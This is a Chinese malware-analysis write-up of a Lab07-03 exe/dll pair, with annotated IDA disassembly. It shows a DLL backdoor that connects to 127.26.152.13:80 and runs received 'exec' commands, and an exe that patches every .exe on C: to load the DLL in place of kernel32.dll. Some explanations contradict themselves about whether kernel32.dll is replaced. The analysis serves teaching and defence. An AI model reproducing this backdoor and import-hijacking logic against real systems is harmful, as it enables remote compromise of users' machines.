本文首发于奇安信攻防社区，原文链接：https://forum.butian.net/share/8570x00 前言
这次分析的是一个exe dll文件，很明显，在exe执行的时候应该要动态链接该dll的，那就一个个分析，逐一攻破。
详细分析
0x01 DLL文件
几个导入函数。包括 CreateProcessA以及WS2_32.dll 的通过网络接收和发送数据的函数。
但是该dll文件的字符串很有意思，其中还包括了一个 IP地址 127.26.152.13
另一点比较奇怪的是该dll文件并没有导出函数。
那就先从入口点分析吧。但是……指令贼多，一句一句分析效率太慢了。
先看call 指令调用的函数吧。
代码语言：javascript复制10001015 call alloca_ probe //调用库函数__alloca_probe分配栈空间
10001059 call ds:OpenMutexA //打开互斥量
1000106E call ds:CreateMutexA //创建互斥量 这两个在一起保证同一时间只有这个程序的一个实例在运行
1000107E call ds:WSAStartup //WS2_32.dll的一个函数
10001092 call ds:socket
100010AF call ds:inet addr
100010BB call ds:htons
100010CE call ds:connect
10001101 call ds:send
10001113 cal1 ds:shutdown
10001132 call ds:recv //一直到这里，都是为了建立网络连接socket通信
1000114B call ebp;strncmp
10001159 call ds:Sleep
10001170 call ebp ; strncmp
100011AF call ebx ; CreateProcessA//创建进程
100011C5 call ds:Sleep 到这里大概可以猜一下，该dll文件建立通信后创建进程，很像我们建立shell的行为。
接下来看函数的具体参数。
connect连接的是 127.26.152.13这个IP地址，并且端口是 50h，即80端口。emm80端口，猜测可能走http协议进行通信，找一下通信的流量
这里 buf数组存入了 hello 字符串……好像cobalt strike里的娱乐弹窗……
看下recv接收的流量。在 10001124处，lea 指令访问 buf，指针指向buf这块缓冲区，接着 push了3个参数，调用 recv指令，但这里好像也看不出来什么
接着往下看。1000114Bcmp 前面是不是 sleep字符串，它会在 10001150处检查是否返回值是否为0，如果是0，调用 sleep函数
也就是说如果远程shell终端发送的命令是sleep，则执行sleep函数
到这里并没有结束，buf 缓冲区还在被使用。首先检查指令是不是 exec，如果是，strncpy函数返回0，顺序执行，直到 100011AF处创建进程。看到CreateProcessA有很多参数，不过最重要的还是 lpCOmmandLine，它来自1000119B处的 CommandLine,双击追踪这个参数发现它在栈空间中
.text:10001161 loc_10001161: ; CODE XREF: DllMain(x,x,x) 142↑j
.text:10001161 lea edx, [esp 1208h buf]
.text:10001168 push 4 ; MaxCount
.text:1000116A push edx ; Str2
.text:1000116B push offset aExec ; "exec"
.text:10001170 call ebp ; strncmp
.text:10001172 add esp, 0Ch
.text:10001175 test eax, eax
.text:10001177 jnz short loc_100011B6
.text:10001179 mov ecx, 11h
.text:1000117E lea edi, [esp 1208h StartupInfo]
.text:10001182 rep stosd
.text:10001184 lea eax, [esp 1208h ProcessInformation]
.text:10001188 lea ecx, [esp 1208h StartupInfo]
.text:1000118C push eax ; lpProcessInformation
.text:1000118D push ecx ; lpStartupInfo
.text:1000118E push 0 ; lpCurrentDirectory
.text:10001190 push 0 ; lpEnvironment
.text:10001192 push 8000000h ; dwCreationFlags
.text:10001197 push 1 ; bInheritHandles
.text:10001199 push 0 ; lpThreadAttributes
.text:1000119B lea edx, [esp 1224h CommandLine]
.text:100011A2 push 0 ; lpProcessAttributes
.text:100011A4 push edx ; lpCommandLine
.text:100011A5 push 0 ; lpApplicationName
.text:100011A7 mov [esp 1230h StartupInfo.cb], 44h ; 'D'
.text:100011AF call ebx ; CreateProcessA
.text:100011B1 jmp loc_100010E9追踪到dllmain函数这里，发现它的初始值是 0FFBh，同时buf的初始值是1000h，说明缓冲区从这里开始。
这里大概清楚了这个dll文件会创建进程来实现远程socket通信，对于攻击者来说就是弹shell，也就是后门。但是这个dll文件并没有导出函数，它怎么被调用执行啊……
先放一放，看看exe文件
0x02 EXE文件
先看exe的导入表，其中几个重点关注下，当然不止这几个，这里我懒得敲了，等下逐个分析
代码语言：javascript复制CreateFileMappingA
CreateFileA
CopyFileA很明显，这里exe文件并没有在运行时导入该dll文件，导入函数中没有 LoadLibrary/ GetProcAddress，与前面分析dll文件正好对应
这几个字符串也是很有意思
来看一看main函数
代码语言：javascript复制.text:00401440 mov eax, [esp argc]
.text:00401444 sub esp, 44h
.text:00401447 cmp eax, 2
.text:0040144A push ebx
.text:0040144B push ebp
.text:0040144C push esi
.text:0040144D push edi
.text:0040144E jnz loc_401813
.text:00401454 mov eax, [esp 54h argv]
.text:00401458 mov esi, offset aWarningThisWil ;"WARNING_THIS_WILL_DESTROY_YOUR_MACHINE"
.text:0040145D mov eax, [eax 4]
.text:00401460
.text:00401460 loc_401460: ; CODE XREF: _main 42↓j
.text:00401460 mov dl, [eax]
.text:00401462 mov bl, [esi]
.text:00401464 mov cl, dl
.text:00401466 cmp dl, bl
.text:00401468 jnz short loc_401488
.text:0040146A test cl, cl
.text:0040146C jz short loc_401484
.text:0040146E mov dl, [eax 1]
.text:00401471 mov bl, [esi 1]
.text:00401474 mov cl, dl
.text:00401476 cmp dl, bl
.text:00401478 jnz short loc_401488
.text:0040147A add eax, 2
.text:0040147D add esi, 2
.text:00401480 test cl, cl
.text:00401482 jnz short loc_401460
.text:00401484
.text:00401484 loc_401484: ; CODE XREF: _main 2C↑j
.text:00401484 xor eax, eax
.text:00401486 jmp short loc_40148D先分析关键指令，在 401447处会比较 eax/argc （即传递的参数的个数）是否为2，如果不是2，跳转到 101813，程序终止，这里启动程序时添加参数是为了防止意外启动造成不必要的后果。否则继续执行。在 401458处将 "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" 字符串放入 esi 寄存器中，在 40145D中，eax 存储 argv[1]。接着比较 argv[1] 的值是不是 "WARNING_THIS_WILL_DESTROY_YOUR_MACHINE" ，如果不是，跳转到 401488,程序终止。注意在 401482处的跳转到 401460，往回跳转，很明显是个循环。
接下来分析 40148D
.text:0040148D loc_40148D: ; CODE XREF: _main 46↑j
.text:0040148D test eax, eax
.text:0040148F jnz loc_401813
.text:00401495 mov edi, ds:CreateFileA
.text:0040149B push eax ; hTemplateFile
.text:0040149C push eax ; dwFlagsAndAttributes
.text:0040149D push 3 ; dwCreationDisposition
.text:0040149F push eax ; lpSecurityAttributes
.text:004014A0 push 1 ; dwShareMode
.text:004014A2 push 80000000h ; dwDesiredAccess
.text:004014A7 push offset FileName ; "C:\Windows\System32\Kernel32.dll"
.text:004014AC call edi ; CreateFileA
.text:004014AE mov ebx, ds:CreateFileMappingA
.text:004014B4 push 0 ; lpName
.text:004014B6 push 0 ; dwMaximumSizeLow
.text:004014B8 push 0 ; dwMaximumSizeHigh
.text:004014BA push 2 ; flProtect
.text:004014BC push 0 ; lpFileMappingAttributes
.text:004014BE push eax ; hFile
.text:004014BF mov [esp 6Ch hObject], eax
.text:004014C3 call ebx ; CreateFileMappingA
.text:004014C5 mov ebp, ds:MapViewOfFile
.text:004014CB push 0 ; dwNumberOfBytesToMap
.text:004014CD push 0 ; dwFileOffsetLow
.text:004014CF push 0 ; dwFileOffsetHigh
.text:004014D1 push 4 ; dwDesiredAccess
.text:004014D3 push eax ; hFileMappingObject
.text:004014D4 call ebp ; MapViewOfFile
.text:004014D6 push 0 ; hTemplateFile
.text:004014D8 push 0 ; dwFlagsAndAttributes
.text:004014DA push 3 ; dwCreationDisposition
.text:004014DC push 0 ; lpSecurityAttributes
.text:004014DE push 1 ; dwShareMode
.text:004014E0 mov esi, eax
.text:004014E2 push 10000000h ; dwDesiredAccess
.text:004014E7 push offset ExistingFileName ; "Lab07-03.dll"
.text:004014EC mov [esp 70h argc], esi
.text:004014F0 call edi ; CreateFileA
.text:004014F2 cmp eax, 0FFFFFFFFh
.text:004014F5 mov [esp 54h var_4], eax
.text:004014F9 push 0 ; lpName
.text:004014FB jnz short loc_401503
.text:004014FD call ds:exit在4014AC处调用了 CreateFileA，接着还有 CreateFileMappingA/MapViewOfFile/，所以这么多函数到底干了什么？毋庸置疑的是 创建了 Kernel32.dll这个文件，CreateFileMappingA这是一个共享内存函数，会 创建一个文件映射对象，目的是为了写入内存中，这里的参数就是 kernel32.dll，接着利用MapViewOfFile将文件映射到进程地址空间
接着往下看，在 4017D4这里，调用了两个 CloseHandle，因为对前面的文件已经操作完毕。接着在 4017F4处调用 CopyFileA，将 恶意dll文件 copy为 kernel32.dll，这样就可以理解为什么 该恶意dll文件没有被导出了，很常规的一次dll劫持
紧接着传入了C盘的盘符，调用了 4011E0，
来到 4011E0处，只调用了 FindFirstFileA，来搜索C盘符，
接下来的call指令就是 stricmp，找一下它push的参数，会比较字符串是否是.exe，
在这之后会调用 FindNextFileA，查找下一个文件，然后在 401427处jmp 到 401210，往前跳转，说明这是一个循环，然后在40142E处调用 FindClose函数，终止。
到这里，梳理一下，这个函数在找C盘里的exe文件，并且匹配相应的dll，接着进行一系列操作。
接着call 4011A0，看到 4010A0处的函数调用。
依旧是调用了 CreateFileA/ CreateFileMappingA/ MapViewOfFile用来将文件映射到内存中。
接着调用 IsBadReadPtr函数，检查调用进程是否具有读取指定内存区域的权限。下面都是对该函数的一些算术运算，直接pass
.text:004010A0 sub esp, 0Ch
.text:004010A3 push ebx
.text:004010A4 mov eax, [esp 10h lpFileName]
.text:004010A8 push ebp
.text:004010A9 push esi
.text:004010AA push edi
.text:004010AB push 0 ; hTemplateFile
.text:004010AD push 0 ; dwFlagsAndAttributes
.text:004010AF push 3 ; dwCreationDisposition
.text:004010B1 push 0 ; lpSecurityAttributes
.text:004010B3 push 1 ; dwShareMode
.text:004010B5 push 10000000h ; dwDesiredAccess
.text:004010BA push eax ; lpFileName
.text:004010BB call ds:CreateFileA
.text:004010C1 push 0 ; lpName
.text:004010C3 push 0 ; dwMaximumSizeLow
.text:004010C5 push 0 ; dwMaximumSizeHigh
.text:004010C7 push 4 ; flProtect
.text:004010C9 push 0 ; lpFileMappingAttributes
.text:004010CB push eax ; hFile
.text:004010CC mov [esp 34h var_4], eax
.text:004010D0 call ds:CreateFileMappingA
.text:004010D6 push 0 ; dwNumberOfBytesToMap
.text:004010D8 push 0 ; dwFileOffsetLow
.text:004010DA push 0 ; dwFileOffsetHigh
.text:004010DC push 0F001Fh ; dwDesiredAccess
.text:004010E1 push eax ; hFileMappingObject
.text:004010E2 mov [esp 30h hObject], eax
.text:004010E6 call ds:MapViewOfFile
.text:004010EC mov esi, eax
.text:004010EE test esi, esi
.text:004010F0 mov [esp 1Ch var_C], esi
.text:004010F4 jz loc_4011D5
.text:004010FA mov ebp, [esi 3Ch]
.text:004010FD mov ebx, ds:IsBadReadPtr
.text:00401103 add ebp, esi
.text:00401105 push 4 ; ucb
.text:00401107 push ebp ; lp
.text:00401108 call ebx ; IsBadReadPtr
.text:0040110A test eax, eax
.text:0040110C jnz loc_4011D5
.text:00401112 cmp dword ptr [ebp 0], 4550h
.text:00401119 jnz loc_4011D5
.text:0040111F mov ecx, [ebp 80h]
.text:00401125 push esi
.text:00401126 push ebp
.text:00401127 push ecx
.text:00401128 call sub_401040
.text:0040112D add esp, 0Ch
.text:00401130 mov edi, eax
.text:00401132 push 14h ; ucb
.text:00401134 push edi ; lp
.text:00401135 call ebx ; IsBadReadPtr
.text:00401137 test eax, eax
.text:00401139 jnz loc_4011D5
.text:0040113F add edi, 0Ch继续往下看，找到了 stricmp函数调用，来检查 字符串是否是 kernel32.dll，接着在401186处调用 repne scasb，用来重复扫描特定字符串的长度， 在401196处调用 rep movsd。这里的用处和 strlen memcpy函数是等价的。至于往内存中写入的是什么东西，看下edi寄存器里存的是什么，
定位到403010处，
这里存储的是 kernel32.dll这个字符串，按下A键，可以看到转换为了该字符串。
总结
至此，梳理下，这个exe文件遍历C盘查找所有的 exe文件，并且找到其中 kernel32.dll的位置，并且用我们的恶意dll文件替换它，简单来说就是劫持 kernel32.dll。但是也不对啊，这个恶意dll只是实现了后门的功能，并没有正常kernel32.dll的功能，按理说劫持后exe文件会运行失败。
动态分析，在恶意代码运行后，正常kernel32.dll的md5并没有被改变，说明该dll没有被修改。而当我们再次看我们的恶意dll时，发现它导出了所有的kernel32.dll的导出函数，这些导出函数是重定向后的，相当于做了一次转发。功能还在原来的kernel32.dll上，只是程序运行时会加载我们的恶意dll。所以在main函数中访问 kernel32.dll和我们的恶意dll，是在解析kernel32.dll中的导出段并且在恶意dll中创建一个导出段，用来导出并转发函数。这是一个重定向转发dll劫持。
